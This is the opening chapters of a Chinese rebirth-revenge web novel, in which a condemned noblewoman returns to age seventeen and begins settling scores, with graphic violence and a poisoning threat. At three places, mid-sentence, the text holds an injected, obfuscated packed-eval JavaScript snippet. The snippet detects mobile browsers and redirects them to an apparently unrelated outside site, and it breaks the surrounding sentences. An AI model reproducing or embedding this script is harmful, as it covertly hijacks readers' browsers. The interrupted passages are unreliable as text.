《疯王妃她只想算旧账》 1. 阶下死囚 “周王褚元唐逆谋不轨，意图篡位，朝廷震怒，特遣金吾卫封其府第，王府上下，悉数就地正法。” “其妻崔氏，罔顾妇道，未行劝谏之责，亦无自陈之诚，其父庆国公自请斩女以明家风。” 刑场之上，百姓围堵，咒骂声不绝于耳。 高台下跪着十余排王府内眷与仆役，老幼不分、男女皆有，数百人衣衫尽湿，神色凄惶。 崔莞言跪于最前方，身着素衣，乌发披散，满头满面早已泥泞交杂。 她听见百姓在笑，在叫：“贱人，终于要死了！” “她活着一天，老天都得下雨净气！” “死得好，逆贼不配做人。” 她缓缓抬头，笑得讽刺。 她生于寒冬暴雪夜，生母难产而亡，未满月便被送去封州外宅寄养，旁人都说她命硬，是不祥的灾星。长大些被接回国公府，以为是重回族中庇佑之所，却在金册赐婚落下时，才知自己不过是庆国公府为监视周王布下的棋子。 嫁入王府，她谨小慎微，从不妄言一句，日日在夹缝中苟活，恪守本分，只盼能平安度日。 可平安二字，于她而言太奢侈。 那夜，府中火光冲天，禁军与金吾卫夜里破门时，她正从梦中惊醒。 外头喊杀震天，她不知出了何事，只听见管事嘶声喊着：“周王……谋反……我们都完了……” 那场与她无关的谋逆，却定下了她的死期。 姑母是高坐宫中的太后，表兄是执掌江山的皇帝，父亲是权倾朝野的国公。所有人都知她无辜，却无人肯救。 生父甚至为了保住国公府世代的家声，亲自上折请旨，求以亲女祭家风清白。 她做错了什么？她只想活下去，仅此而已。 可这世道，真当她该死。 刑台之上，庆国公崔晋执笏而立，高冠整服，目光冷漠，不悲不愠。 他抬了抬手，死囚中忽地传来一阵剧烈的骚动，有人惊恐大喊：“饶命啊！我们只是烧火的下人，什么也不知道！” “我才进王府一个月，求求你们放了我，我不想死！” 哭声、喊声、求饶声一接连响起，有人挣扎，却不过片刻，全被刀鞘重重砸下，压得跪地不起。 崔莞言一动不动。 她何尝不想哭？可是眼泪早已流尽了。 她恨太后一纸赐婚，将她送入虎穴；恨褚元唐冷漠如霜，从未给她一眼真正的怜悯；恨国公府十余年冷养，一朝翻脸，只为祭出一个“清理门户”的名头； 她甚至恨自己，太胆小、太听话。 若有来世，她宁负天下，不再容天下负她。 她要将欠她的、辱她的、弃她的，一个个拉出来清算，踏着他们的尸骨活着。 “行刑！” 刀光落下。 血光乍起，万物无声。 - 暮春时节，山道绿茵青葱，马车驶过卷起一路尘土。 半梦半醒间，崔莞言听到身旁的交谈声。 青禾捧着水壶，担忧道：“小姐一路上都没怎么吃药，再晃下去怕是撑不住了。嬷嬷，我们能不能……” 张嬷嬷瞥了一眼：“你倒是尽心伺候。小姐？她也配叫小姐？一个庶出的灾星，被扔去封州十几年，国公府上下提到她都觉得晦气。” 青禾脸色一白，却不敢回嘴。 张嬷嬷冷哼一声：“我早说了，咱们是奉命接人回京，可没让咱们供着她。这一路，死不了就成，病点痛点算什么？她在封州那鬼地方挨过多少冻，难不成还娇贵起来了？” 崔莞言迷迷糊糊地听着，只觉脑中一团混沌，想动，四肢却仿佛被火烤过，又被冷水泡透，全身上下只有麻与钝。 张嬷嬷接着说：“你是不晓得那年府里出了多大的事。当年夫人怀胎五月，胎像稳固得很，偏她出生那日天降大雪，夫人一觉醒来突然血流不止，孩子没了，身子也亏了，从那之后再没保住过一胎，谁不说是她克的？说句不好听的，她娘难产而死，福薄命贱，她这一身晦气，从一落地就带着，天生灾星。” “这回接她进京，谁真是惦记她的？是京中局势紧了些，要用她来铺一条路罢了。夫人没法推才咬着牙认了。若换个时候，要她横死在封州都是轻的。” 崔莞言眉心一跳，分不清是梦中还是现实。意识还陷在一片昏沉里，熟悉得令人作呕的腔调，一声声往骨缝里钻。 是……张嬷嬷的声音！ 她不会听错。这世上没人能将“灾星”两个字咬得那样重，那样恶毒。 恨意像刀，逼着她清醒。 终于，她睁开了眼。 一道熟悉的身影扑入视线。 “小姐！”青禾红着眼、声音发颤，“小姐您醒了！太好了，奴婢……奴婢以为您……” 崔莞言怔怔看着那张稚气未脱的脸。前世青禾是唯一对她忠心的人，可惜却在她入王府后的一年病死了。 她抬手轻轻抚了抚青禾的脸颊，眼角早已泛起湿意。 张嬷嬷见她醒了，脸上却毫无关切：“醒了就别装病，真把自己当个千金小姐了？” 她转头看去，只见张嬷嬷坐在角落，眼中的嫌恶毫不遮掩。 这一切太熟悉了，熟得仿佛噩梦重演。 青禾小心地将水盏递来。她垂眸一瞥，水面倒映出的脸……竟然是她十七岁的模样！ 崔莞言心头剧震，仿佛五脏六腑被人撕开一道口子，凉意直灌进来。 怎么回事？她还活着？ “……现在是哪一年？”她声音沙哑，几乎听不出是自己。 青禾应道：“长治五年，今日是三月初三。姑娘别急，我们还有一日便能抵建州了。” 长治五年？建州？ 一切都对上了，她真的……回到了十七岁。 她怔了一会儿，脑中忽然闪过前世此日的记忆。马车行至建州城外五阳山，遇上了山匪，是褚元唐救了她。 “醒了也好，省得路上还得请大夫耽搁时间。这一路你昏昏沉沉的，叫人还以为是抬尸回京。 张嬷嬷又开始骂：“也不照照自己几斤几两，就你这副骨头，还敢自称二小姐？若不是夫人念着脸面，你连这辆马车都未必坐得上！” 崔莞言掀起眼睫，嗓音淡淡的：“怎么，张嬷嬷恨我活着？” “我哪敢。”张嬷嬷嘴上那么说，眼里的厌恶丝毫不减。 “你不过是夫人身边的一个奴婢，我娘是妾，我是庶出，不错。但你若真将我当下人使唤，也得看你有几条命。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970173|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 张嬷嬷一口气卡在喉咙，脸色青一阵白一阵，心想这贱蹄子竟如此伶牙俐齿，前几日那柔弱样子原是装的。 未等她再开口，忽听外头马蹄急促，一名骑卒拨帘进来，神色惊慌：“有山匪！小姐坐稳了！” 话音未落，马车剧烈晃动，几乎将人掀出去。 张嬷嬷猝不及防，一头撞到车壁上，惨叫一声，跌坐在地狼狈不堪。 车外一声高呼传来：“快！护着马车！冲过去！” 骏马飞奔而起，车轮轧地如雷，尘土卷得老高，青禾吓得发抖，水壶打翻在地，溅得满裙湿漉漉的。 “小姐……”她试图稳住身形，却一个趔趄扑了过来。 崔莞言眼疾手快将她揽入怀中，眸色冷静得几乎不似年幼少女。 下一刻，利箭破风而至，砰然钉在车厢侧板上， 张嬷嬷滚作一团，哭喊连连：“杀人啦！救命啊！” “闭嘴。”崔莞言厉喝道。 前世也是在这混乱中，有一贼匪闯进马车，她傻傻地挡在最前，那一刀砍在肩上，疼得她几近昏厥，直到褚元唐的兵马赶到才勉强救下她。 这一次，她决不会再让自己受伤。 果然片刻后帘外一道黑影逼近，砍刀破帘而入。 她眼神一凝，猛地抓过张嬷嬷，将她拽在身前挡住。张嬷嬷尖叫出声，刀刃斜斜砍进她的肩头，顿时血如泉涌。 “你这贱人……”张嬷嬷捂着伤口，当即晕了过去。 匪人还未收刀，正欲对她下手。 她抬手取下珠钗，身形一偏，闪过对方挥来的刀刃，反手刺出，钗尖狠狠扎进山匪颈侧。 鲜血飞溅。 青禾吓得脸色惨白。 崔莞言脸上沾着几滴血，却像什么都未发生过，“别怕，我们不会死的。” 车厢外，护卫尚在厮杀，局势岌岌可危。 突然，一阵马蹄声由远及近。 戎装肃然的骑兵自山道破林而出，战马嘶鸣。 为首之人身穿墨甲，眼神冷锐，一抬手，箭雨破空而出，将车外几名山匪射翻。 杀声渐弱，骑兵迅速包围山道，护卫与匪人拉开阵势，危局顿解。 男人纵马上前，在马车不远处勒缰而止，居高临下地望着车厢。 帘子掀开，崔莞言望见那双眼，心头狠狠抽痛。 是他。 前世初见褚元唐，正是在此地。那时她慌乱无措，浑身是血，蜷缩在车角颤抖不已，而他披甲执戈、眉眼冷厉，只淡淡丢下一句：“带走。” 旧债重逢，眼神再交锋。她的目光如刃，直直刺向他。 他没有动，亦没有说话。 片刻对峙后，他目光落在车厢破裂处的血迹上，眉头一动，终是开口：“可受伤了？” 崔莞言神情未动，心中却冷笑。 他是在关心她？那眼神，竟不似从前冷淡。莫不是她杀了人，反倒让他另眼相看？ “命大，死不了。” 褚元唐沉默，未再多言。 战马调头，尘土再起。 崔莞言垂下眼帘，手指在掌心一点点扣紧。 前世回京这一路，倒真是热闹非凡，杀伐、背叛、欺辱，样样不少…… 2. 前世夫君 夜已深，驿馆外树影婆娑，虫鸣断续。天边残月如钩，映在瓦脊上，冷得渗骨。 张嬷嬷命大，竟活了过来。 当时那一刀落得重，血流如注，谁都以为她撑不过。带队的护卫是国公府派来的心腹，见她一口气还在，连夜请了城中最好的大夫。 崔莞言抬步进屋时，张嬷嬷躺在榻上，脸色惨白，肩头包着厚厚的白布，气息微弱。 似是察觉有人靠近，她睁眼一瞧，见是崔莞言，当即眼中喷火，咬牙切齿道：“你还敢来？贱人，竟敢拉我挡刀！你……你个扫把星，蛇蝎心肠！” 崔莞言阖上门，不紧不慢地走近榻前，俯下身，在她耳边低语：“嬷嬷不是一直恨我命硬、克人？既如此，我怎能叫嬷嬷安安稳稳地活着回京？” 灯影摇曳，少女眉眼含笑，却笑得令人胆寒。 张嬷嬷猛然察觉，眼前这个人，早已不是那个唯唯诺诺、受气吞声的废物了。 她眼神阴沉，负手立于榻前，目光落在床头那只瓷盅上。 “张嬷嬷命硬，天不收，命里也该再受些罪。” “你……你想做什么……”张嬷嬷声音发颤，想撑起身，动了却牵扯伤口，疼得嘶声倒吸气。 她当然想杀了这个恶妇。 前世初回京时，她一路上被张嬷嬷训得狗血淋头。那时她只道嬷嬷是府中老人，凡事忍了让了，终究能换来一份温情。 可她错了。 张嬷嬷是主母手中最锋利的一把刀。 最初，是早晨例行请安迟了几步，张嬷嬷便提议罚跪一月，让她在日头下晕过去数次。再后来，是冬夜冷风里逼她抄书至深夜，冻得指节皲裂，第二日还要她端着字帖去堂上请罪。 前世她额角的疤也是拜张嬷嬷所赐。 说她规矩学得慢，教她跪着顶水罐练礼仪。水落便打，一连三日，直到那只铜罐砸下来，生生磕破额头。流血的时候，张嬷嬷还笑着说：“磕出点规矩才像样。” 国公府里的嬷嬷何止她一个，可只有张嬷嬷最最敢下手。因为她惯会出坏主意，主母点头，她便执行得滴水不漏。 口口声声说教规矩，实际上却句句戳着她的命门，处处踩着她的尊严。 虽恨得牙痒，可她回想起出生之日，主母小产自此终身不孕，着实蹊跷。那夜暴雪封门，张嬷嬷一直守在夫人身边…… 这样的关键人物，怎能轻易除去？ 留着，还有用。 “放心，我舍不得你死。” 她从袖中取出一只细颈青瓷瓶，拈起瓶塞。 张嬷嬷眼皮猛跳直觉不妙，扭头就要躲，却已迟了。崔莞言身形一俯，五指稳稳扣住她下颌，似铁钳锁骨，寸步难挣。 她瞪大眼，惊恐未退，嘴刚张开，几粒药丸已被生生塞入口中，哽得眼泪直冒。“救……” 见张嬷嬷要喊，崔莞言一把扯过厚被覆上她的口鼻，冷厉的力道压下去，毫无迟疑，毫无怜悯。 张嬷嬷拼命挣扎，手脚乱蹬，将榻褥抖得翻了过来。 崔莞言却神色漠然，双手沉稳如山，眼里不见怒火，唇角竟还泛着一丝讥笑。她像在审视一只待宰的鸡狗，看着挣动由狂乱到微弱，直到瘫软，才慢慢松开手，将被子揭开。 榻上的人如同刚淹过水的老狗，头发凌乱，满脸是泪，几欲断气。 崔莞言站起身，居高临下望着她，冷冷开口：“还喊吗？” 张嬷嬷颤抖着摇头，刚要哼出声，崔莞言却已接着道：“封州偏僻，多毒虫杂草。我在那里十几年，倒也识得一种药，无色无味，寻常大夫查验不出来。此药初服无异，一月内若无解药，会五脏灼痛，血溢七窍而死。你刚刚吃下的，就是。” 看着她那张因恐惧而扭曲的脸，崔莞言心里一阵畅快，仿佛积年的污浊从胸口顺势拔出。 “只要你听话，我自然不会忘了解药。” 语罢，她起身欲走，忽又回头，将床头那盅尚未用的敷伤药取走。“嬷嬷身体强健，这药也是不必用了。” 屋外风冷，吹得她袖口拂动。 袖中的药瓶还带着余温，里面不过是几颗安神丸。 她总算明白，要驯一条狗，的确不必刀剑加身，只需让她信，命在你手里。 - 回房时，屋内早已生了炉火，青禾正端着茶盏候在门边。 她抬头一见崔莞言，神色僵住。 崔莞言瞥见她捏得发白的指尖：“怕我？” 青禾忙低头：“不敢……奴婢只是……” “只是觉得我变了？” 青禾咬唇不语，片刻才低声道：“小姐在山中……杀人时眼都没眨。” 崔莞言接过茶，盯着茶面缓缓漾开的热雾，淡淡道：“为了活下去，总是要狠一些的。” 青禾年纪尚轻，听不懂这些话里藏着多少风雪旧事。她只是下意识地畏惧，觉得理所应当，却又难以言明。 “周王如今住哪院？”崔莞言问。 青禾忙答：“西北角那间独院，进出有兵把守。” “好。”她垂眸，将茶盏放回案上，“下去吧。” 青禾行了礼，很快退了出去。 崔莞言坐在灯下，脑中缓缓浮现那人过往种种。 褚元唐是当今皇帝的亲弟。 生母宸妃，昔年因替人求情触怒先帝，被贬入冷宫。他便在那废宫残瓦中熬过七年，直至宸妃病死于寒冬。 他天资聪敏，弓马诗书皆出众，却被弃若敝屣。直到先帝老年偶忆旧人，方有一丝怜悯之意，尚未来得及安排，边疆战起，他便被当作和谈筹码，远送敌国为质。 他归朝那年，群臣避言，百姓噤声，只道那人静如寒潭，不怒自威。 后来朝局动荡，他兵临都城，谋逆之名落定，死于宫门之外。 而她崔莞言，赐婚于他，自一开始，便是错配。 前世在王府的那些年，她小心翼翼、谨守妇道，操持中馈，撑过风霜酷寒。即便在兵变前夜，她仍不愿相信他真会谋逆。 如今重活一世，她不稀罕他的温言软语，更不图他半分怜色。 她只盼他早些死。 若他死在建州，便不会有日后的兵变，不会有王府上下、老小满门血洗。 她记得清楚，建州官驿是风暴的开端。 当时褚元唐自北境回朝，一路静默无虞，却在建州官驿遭了刺杀。 出事前数日，镇北军亲卫频频抱恙，夜巡间断，换哨不齐，后来才知，是有人暗中将药掺进亲卫的饭食里。那药非毒，只使人困乏、力衰，几日后便觉四肢无力，神志恍惚。 刺客就是趁此空隙破窗而入，直逼内室。 前世的她对此一无所知，只记得那夜喊杀声突起，她仓皇躲进柜中，第二日走出时褚元唐已揪出内鬼，将那名贴身侍从拖出院子，生生拷打至死。 可这一次不同。 一切从头开始，既无法控制刺客……她便要替他们，争取一个更大的空隙。 她低头缓步，月色将她的影子拉得斜长，心中念头翻涌，早已无法安眠。 火？声势太大，恐殃及无辜。 毒？不致命，扰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970174|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱不了军心。 她越想越觉得处处掣肘，寸步难行。 忽然，她目光落在案上那包张嬷嬷的伤药上。拈开一角，细细嗅了嗅，味道苦烈冲鼻，面上那些是马钱子。 她儿时年幼体弱，寄养在农户家中，一病常拖十日半月，连请郎中都成奢望。幸而照看她的老妪早年做过药童，粗识药性，常以草药调养。她耳濡目染，也渐识得些药材名目、性状与禁忌。 那老妪曾提起，昔年曾有马误食马钱子渣滓，发作之下，疯撞狂奔，几欲撞死。 马钱子药性凶猛，过量服用者，不论人兽，皆可陷入极度亢奋之态，轻则抽搐，重则神志失常、狂奔不止。 若将其研成粉末，暗中掺入马料之中，一旦发作，马惊乱奔，定会引发兵阵失序。 她不再犹豫，当即将药包研作细末，藏于蜡纸，塞入袖中。 第二日上午，她披了件外衫，假作闲步，朝后院马厩行去。 方转过廊角，一股潮湿霉气自厢房深处隐隐飘来。 厢内传出低语。 “昨儿那捆好草都湿透了，再不遮掩，只怕要吃罚板。” “怕什么？我把湿草垫底，新草盖上头，谁来细查？” “咱们不过是做个活命营生，主子哪顾得上这些破事。” 说罢，几人脚步响起，已自门中走出，往别处去了。 崔莞言立在暗处，目光沉沉。 马厩后院湿寒积久，草料早混入劣品，想来并非一日两日。 她静待四下无人，快步入内，从一堆干草中挑出一捆尚新的，将药藏匿其中，悄然撤去。 出得后院，行至偏院转角，又见几名小厮倚墙闲坐，低声言语，语句模糊，却隐隐带出周王二字。 她敛声匿影，潜入廊角阴影静听。 “你们是没瞧见，殿下那日动怒，连整张桌子都掀了。” “将军都不敢劝，只站在旁边看。他就站在那儿，一动不动，目光直钉在那人身上，像要拧断脖子一般。” “真的假的？” “我亲眼所见。他那人一跪，吓得脸都白了，眼珠子发红。殿下却还笑，声音轻得像哄孩子。” “可那眼神，活像疯的。” “他说：‘下次若再误事，毋须请罪，去后院寻口井跳下便罢。’说完还亲手将地上碎物一件件捡起，谁欲上前帮忙，皆被他挥手挡开。” “北地能活着爬回来的人，心早就冻成了石头。” 说话的声音渐低，几人看了眼天色，慌忙起身往后院方向赶去。 崔莞言未动，站在廊下阴影中，面无表情。 她前世是直到王府被围，才知自己嫁的是个什么样的人。她早知他冷，哪怕婚后数年，他也未曾对她多言半句。 她一度自欺，那是贵人惯有的寡言，或者是幼时质子生涯造就的寡情。可那时她从不曾想过，他会疯。 疯到敢兵临都城，在金銮殿前挥刀。 风忽起，将她从沉思中唤回。 她敛去神色，终是转身走出廊角。 - 夜渐深，崔莞言坐于榻上，凝着未关的窗扉，静候马厩动静。 正此时，院外忽有脚步响动。 “崔小姐，周王殿下请您移步后院一叙。” 褚元唐要见她？ 前世他救她不过是顺手之举，一路寡言，冷面冷心。如今局势方起，他却主动召见？ 不论他意为何，都不能露出半点破绽。 她起身整衣，对外道：“请殿下稍候，我换件衣裳便来。” 3. 满地血污 夜色深沉，风从院墙上压下来，将灯火吹得几乎熄灭。 崔莞言踏入后院，脚步极轻。 她抬眼，望见竹亭之中，褚元唐负手而立，身影孤挺。月光洒在他肩上，那张脸好似从她梦魇里走出。 从前所有人都说褚元唐是疯的，冷宫长大，质子归朝，心比刀硬。说她嫁过去不过是为王府冲晦气，迟早要被折磨死。 她不信。 初见时，只觉得他清俊寡言，不过冷淡了些。她心想着，石头捂久了也会热，只要她小心周全，总能换来几分体面。 可他从未给过任何回应。 如今再见，积年旧恨便从骨缝里翻起，疼得她几欲发笑。收起所有情绪，她步入亭中，语气温顺：“殿下唤我，不知有何吩咐？” 褚元唐转身，目光落在她身上。 崔莞言知道他在看，像前世许多个夜里，他也这样静静地看着她，却从不说一句话。 冷漠，不耐，厌烦。 她习惯了那样的目光，再面对反倒坦然。 “那强盗是你杀的？”他忽然问。 崔莞言笑意不变：“当时命悬一线，总不能坐以待毙。” “你胆子倒大。生于深闺，竟能临危不乱，还下得了手。” “封州地方乱，我小时候见过血。村中有匪，一夜之间死了好几户人，照看我的那家也在其中。尸身抬出来时，我才四岁。” “杀了人，就不怕？” “我怕，只是命贱，不容我怕。” 风吹过亭檐，她站在他面前，身影不高却不显一丝脆弱。 “你比我想的……要冷。” “冷些好，这世道，太热的人，活不长。” “我从前……并非如此。也曾怯懦，也会半夜惊醒，躲在被中哭，总想着，若有人能拉我一把，便好了。后来不哭了，怕哭多了，叫人厌。” “殿下，人心并非生来薄凉，只是热得久了，终究……也会凉。” 话尽，她想笑，笑意还未来得及浮起，便被更深的冷意淹没。 这些话她从前不敢说，可说了又如何，难不成他会生出怜惜？会多看她一眼？ 他不懂！他从来就不懂！ 她转身欲走，忽听远处一声嘶鸣炸响，紧接着，是一连串奔蹄之声，杂乱失序，狂潮自院外奔涌而来。 马钱子起效了。 “是马厩！”有侍卫高声惊喊。 几匹战马挣脱缰绳，沿着廊下狂奔而来。铁蹄翻踏，尾后数骑接连失控，马嘶、惊叫、碰撞声瞬息交织，整座驿馆陷入混乱。 “有马惊了，快拦住！” “护卫分两组，守住东侧！” “带甲的，去后厩，快！” 她原想着趁乱离开，可池亭两侧忽然掠下黑影，数十人自屋脊落下，像夜鸟扑翅，直逼亭中。 “刺客！”剩下护卫拔刀厉喝。 褚元唐已出手，刀锋疾落，劈断来者手臂，血花溅在栏柱上。 崔莞言被他一掌推至亭柱后，手死死扣住栏杆。她听见刀鸣不断，血溅如雨，溅到地上，溅到石阶，溅到他袖上。 又一匹狂马挣脱后院牵引，飞蹄踏碎水花，她抬眼，那匹失控的马红直直地朝她奔来。 她向后退，脚下湿滑，几乎要跌倒。 就在那一瞬，一股力道从前方卷来，将她拽入一个温热的怀抱。还来不及抬眼，便听见刀锋的声响贴着耳侧掠过。 “噗——” 刀尖擦过血肉，鲜血溅出，染红了褚元唐半边衣袍。 “王爷！”护卫厉声而至，自另一侧夹击，霎时将刺客困入阵中。 几息之后，刺客皆倒地不起，鲜血浸透整块青石地。 风声犹在，杀气未散。 褚元唐的气息已虚，整个人向她身上倾倒。 崔莞言抬眼看向他，冷白的面容近在咫尺，呼吸微弱心跳如鼓。 他救她？碰巧罢了。 被他护着时的温度，也不过如此。 胸口那一瞬间的悸动很快被冷风吹散，她闭了闭眼，将所有颤意都压了下去。 一刀而已，他欠她的何止这些。 - 次日清晨，雨已停歇，天色却依旧阴沉。 青禾一早便神色慌张地跑进屋里，门都顾不上关严。“小姐，外头在审人……” “说是夜里出了刺客，马厩又闹了乱子，今早便在后院绑了几个护马的小厮，还有一个周王的近卫……听说，刑具都用了。” 崔莞言垂下眼。 果然，还如前世一样，褚元唐夜里便已查出近卫之中有人背叛。 至于战马发狂，只查到了马料发霉，未曾察觉马钱子，也未深究。 她放下茶盏，站起身来。“走吧，去看看。” - 后院潮湿，地上一片污水。 被捆在庭中近卫衣衫凌乱，湿发贴在脸侧，嘴唇被咬破，血珠沿下颌滴落。 他咬紧牙关，头垂着，始终不肯开口。 褚元唐立在檐下，神情冷漠。 刑架旁，有人捧着拷具上前，铁器撞击声在阴沉天光下格外清脆。 “王爷……冤枉……属下从未……” 近卫连连叫冤，又是数记鞭子抽在他背上，血腥味渐浓，惨叫声响彻整座驿馆。 褚元唐看着他，忽然笑了一声。 “看在你这么忠心的份上，带下去吧。” 他似要离开，刚踏出一步，忽地抬手抽走侍卫腰间的刀，转身刺入那人胸口，血喷涌了一地。 那人喉咙里溢出一声像动物般的闷响，身体一抖，眼睛睁着倒进了水里。 褚元唐看都没看，随手将刀丢进下，转身离去。 角落里，崔莞言眼睛动了动，没说话。 褚元唐拔刀杀人时没有一丝犹豫，转身、出刀、收刀，干净利落。他说带下去，带去哪里？带去死。 所有人都看到了背叛他的下场，侍卫噤声退下，无人敢言。 近卫的血很快染红了整块青石地。崔莞言望着那滩血，竟看得饶有兴味。 这是她第一次认同褚元唐的做法。 叛徒，就该这样死。 她看完这一场好戏，久久未动。因为下一场戏，很快又要开场。 前世也是这时候，建州州牧韩文郁听说周王遇刺，竟“屈尊降贵”来驿馆探望。 韩文郁是崔家外戚。可这样的亲戚，她从来都瞧不起。 他那州牧官职从不靠真本事，只凭庆国公崔晋一句话便稳坐至今。仗着外戚身份在建州横行多年，鱼肉百姓，徇私贪墨，暗地里卖官鬻爵，逼得多少家破人亡。 曾有寒冬深夜，农妇带着年幼的孩子去州衙告状，他却收受匪徒贿赂，将可怜的母子乱棍打死在雪地里。 也有孤女被他看中，塞进府中当玩物，几个月后尸体被扔进后山狗窝，死状凄惨。 这条笑里藏刀的狗，还总爱在人前乱吠，摆崔家外戚的谱。前世那日，他来驿馆时，言语中明褒暗讽。嘴上关切，眼里却满是对褚元唐的不屑，顺带冷嘲她一个寄人篱下的灾星，说“活着回京已是万幸，别再给崔家丢脸。” 崔莞言唇边漾出一抹笑。 蠢货，来的正好。她正想，会一会。 - 马蹄声从巷口远远传来。院门被推开，韩文郁带着几名随从走了进来，笑声比人先到，传入院中。 “听说周王遇刺，建州州牧韩文郁特来探望。” 他穿着暗青官袍，腰间玉佩叮当作响，目光在院中扫过，最终落在崔莞言身上，停了停，眼中掠过几分笑意。 “这位就是……庆国公府的丫头？” 崔莞言平静地看着他，“韩大人屈尊来赏这满地血水，倒也算得上有心。” “你虽是庆国公府的人，终究是养在外的，该安分些。说起来，我与国公府也算亲近，按理你该唤我一声姑父。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970175|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “姑父？”崔莞言笑了两声，“我姑姑是当今太后，先皇在时，这一声，我才喊得出口。如今先皇已逝，太后居中辅政，您在外头自称是我‘姑父’，旁人若听见了，究竟是要笑您不知礼数，还是要说韩大人你僭越不敬，敢夺先皇余荫，来讨这一声尊称？” 韩文郁的笑意凝在脸上，他没想到一个长在穷乡僻壤的丫头竟如此伶牙俐齿，堂中这血渍寻常人都该避之不及，她却踩着一大滩血，稳稳地站在那儿。“小丫头一张利嘴倒是厉害，可你别忘了，你不过是个庶女，太后娘娘怕是不会拿正眼瞧你。” “太后娘娘位高权重，自然不必看谁。只是有些人，连太后娘娘的影子都没见过，倒是张口闭口总爱提她的名头，逞一时口快，惹旁人笑话。”崔莞言说完便兀自笑起来，引得一旁的守卫也弯了嘴角。 韩文郁脸色瞬间涨红，眼底阴光闪过。他原想耍一通威风，不曾想还未见周王便被这丫头绊住了嘴。 他气极了：“别以为自己姓崔，便敢在本官面前放肆？” 他一步步逼近，距崔莞言一步之遥时，一支冷箭穿透他的乌纱帽，他惊叫出声，整个人扑倒在地。 “送韩大人的见面礼，可还喜欢？”褚元唐慢悠悠地走出来。 韩文郁被扶着爬起来，脸色青白交错，半晌才冷笑一声：“周王殿下好箭法，想来在北朝时箭术也不曾落下。” 听到北朝二字，褚元唐却无多大反应。 韩文郁自以为占了上风，得意地抬手扶正被箭震歪的乌纱，笑道：“殿下果然气度不凡，北朝那些年受的委屈，竟能这般风轻云淡。” 褚元唐听着，眉目不动，忽而冷冷笑了声，朝侍卫使了个眼色，那侍卫心领神会，转身从廊下取来一把刀，正是方才斩刺客时所用，血迹还未干。 崔莞言看着那把刀被端到褚元唐身前， 记起前世褚元唐并未对韩文郁下死手，只是吓唬几句便罢，让韩文郁心生怨恨，搬弄是非不成，反叫崔家惹了无数麻烦。 后来褚元唐暗中派人进京告御状，细数韩文郁的罪状，崔家再不肯保他，他便被处了极刑。虽说死得极惨，可想到这般废物还能苟延残喘多年，她心里终归觉得不够痛快。 有些人，不杀不足以平事。 今日是个好机会，最好让褚元唐挡下这一道。她上前一步：“韩大人见殿下，不行跪拜之礼，置礼法何在？陛下亲封金册，御口称周王，韩大人连这声都不认，旁人要说韩大人不敬皇族、不敬圣意，也不为过吧？殿下若要当场取你性命，也是合礼合法。” 此时，褚元唐偏首，目光落在她身上，深黑的眼眸中漠然无波，却透着几分看不明的深意。 只看了她一眼，没有说话，也没有阻止。 韩文郁的脸色霎时惨白，想辩驳却瞥见那把刀上的血滴落在地上，刀刃已然朝向他。他浑身一颤，咬牙跪进血水里。 “……臣韩文郁，拜见殿下。” “起来吧。” 褚元唐居高临下看着他，手臂探出似是要将他扶起。 韩文郁颤着手去握，刚要起身，却见褚元唐另一只握刀的手抬起，血刃忽地挥下。 断臂噗通一声掉进血水中，溅起大片暗红水花。 血腥气更浓了。 “啊！” 韩文郁抽搐着倒在血泊中。 “抬走。” 侍卫应声上前，将韩文郁从血水里拖起。 崔莞言低头看着，眸光冷漠，甚至唇角勾起了笑意。 他活该。欠的血债太多，能用这一刀来偿命，算他便宜。 她听着韩文郁的哀嚎，看他像条丧犬一样被拖走，心中的郁气仍是未解。 上京路还长，她要收的账才刚开始。 欺辱过她的人，下场只会比这更惨。 只是，褚元唐缘何动刀？当真是听了她的挑唆？ 侧目看去，褚元唐也正看她，唇瓣动了动：“满意吗？” 4. 重回崔府 褚元唐还未踏入上京城门，建州官驿的好戏便如风一般传遍了朝野。 国公府内，庆国公崔晋得知消息，一双三角眼垂着，眉头紧锁，沉思良久。 “这周王当真是疯的，竟敢杀朝廷命官，听说韩文郁就剩一口气，怕是撑不了几天了。” 说话的是国公府次子崔时，年方十九，性情却比许多官场老油子还要圆滑。 崔晋摇了摇头，韩文郁在建州的事他不是不知，若非家中后辈不成气候，怎轮到那蠢货占着位置。“那个废物死了便死了，留着他以后还不知要惹出多少祸事。周王遇刺的事才是要紧。” “可惜，周王没死成。” 崔晋冷笑：“你当真以为他在北朝为质，受的屈辱不值一提？当年北疆兵荒马乱，是他为大夏换了这些年的平安，百姓念他忠勇，街头巷尾都有颂他是大夏英雄。陛下登基不过五年，如今朝局未稳，最怕的就是民心动荡，若叫他折在半路，叫百姓如何想？只会说，陛下嫉妒忠良，暗害功臣。” 